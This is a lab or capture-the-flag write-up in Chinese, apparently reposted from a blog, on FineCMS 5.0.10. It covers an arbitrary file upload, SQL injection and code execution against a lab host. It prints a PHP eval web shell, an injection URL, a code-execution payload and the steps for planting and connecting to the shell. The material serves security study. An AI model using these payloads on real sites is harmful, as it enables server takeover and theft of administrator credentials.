1. 程式人生 > >FineCMS 5 0 10漏洞集合

FineCMS 5 0 10漏洞集合

                     

目標機:
Windows xp
IP:172.16.12.2

實驗目的:
學習漏洞產生的原理
學習如何對此漏洞進行利用修復

實驗內容:
FineCMS是一款基於PHP+MySql+CI框架開發的高效簡潔的中小型內容管理系統。其5.0.10版本存在任意檔案上傳(SSV-93211),任意程式碼執行(CVE-2017-11585)漏洞以及SQL注入漏洞。

其中任意檔案上傳漏洞在上傳使用者頭像處,可通過上傳一句話木馬,修改資料包內容,獲取網站Shell。任意程式碼執行可利用漏洞,構造Payload執行任意程式碼,而SQL注入漏洞則可以通過注入獲取到管理員的賬號密碼。此次FineCMS 5.0.10漏洞集合,危害巨大,將直接威脅到伺服器的安全。

影響版本
FineCMSV5.0.10

實驗步驟
步驟1:分別瞭解漏洞產生原理
第一:檔案上傳漏洞
漏洞程式碼位於/finecms/dayrui/controllers/member/Account.php 177~244,具體是在使用者頭像上傳的地方,核心程式碼如下:
這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述
如上,程式碼僅判斷了是否是圖片型別,這個判斷很容易繞過,只需使用抓包工具修改即可。

第二:sql注入漏洞
漏洞程式碼位於/finecms/dayrui/controllers/Api.php中的data2()函式,
這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述
這個函式可以呼叫到其他的敏感函式,函式傳入的引數進入了this->template->list_tag($param),正常來說系統封裝的函式是使用者不能呼叫的,但這裡使用者可以呼叫data函式,我們繼續追蹤,檢視/finecms/dayrui/libraries/Template.php,程式碼如下:
這裡寫圖片描述


這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述
這裡寫圖片描述
如上,將Sql語句處理後賦值給sql變數,最終直接執行。
構造Payload如下:
重要程式碼:
sql注入程式碼:

index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=sql sql='select user();'
  • 1

這裡寫圖片描述
第三:程式碼執行漏洞
上傳程式碼:

 index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=cache name=MEMBER.1'];phpinfo();$a=['1
  • 1

這裡寫圖片描述
步驟二:(建議直接使用漏洞)


top one:(1、訪問網址,註冊賬號)
首先登陸目標網址:172.16.12.2,註冊賬號:user1 密碼:user1
檔案上傳已知在頭像上傳處,我們使用賬號密碼為user1 user1來登陸,在會員中心->上傳頭像上傳檔案。
top two:上傳木馬,將木馬傳到伺服器上
登陸之後在桌面建立檔案1.txt,寫入一句話木馬:

<?php eval($_POST["a"]);?>其中的a為使用菜刀軟體的密碼
  • 1
  • 2

然後將名稱修改為1.png,接下來點選上傳頭像。
在上傳之前,我們需要設定瀏覽器代理,這樣才能抓取到資料包:依次點選設定->高階->網路->設定,將代理設定為127.0.0.1:8080,並開啟BurpSuite。
這裡寫圖片描述
我們將png修改為php,點選Foward放行。這裡如果報錯,無需理會。
上傳木馬檔案目的是
top three:菜刀連線訪問
通過檢視CMS框架,可以知道上傳檔案儲存於uploadfile\member\3下
使用菜刀軟體可以直接訪問:http://172.16.12.2/uploadfile/member/3/0x0.php (木馬路徑), 其中末尾的.php為一個木馬檔案,密碼為‘a’
這裡寫圖片描述
進入伺服器後臺,可以直接檢視到flag.txt
這裡寫圖片描述
top four:sql注入漏洞:查詢後臺管理員賬號密碼
這裡寫圖片描述
top five:上傳程式碼
這裡寫圖片描述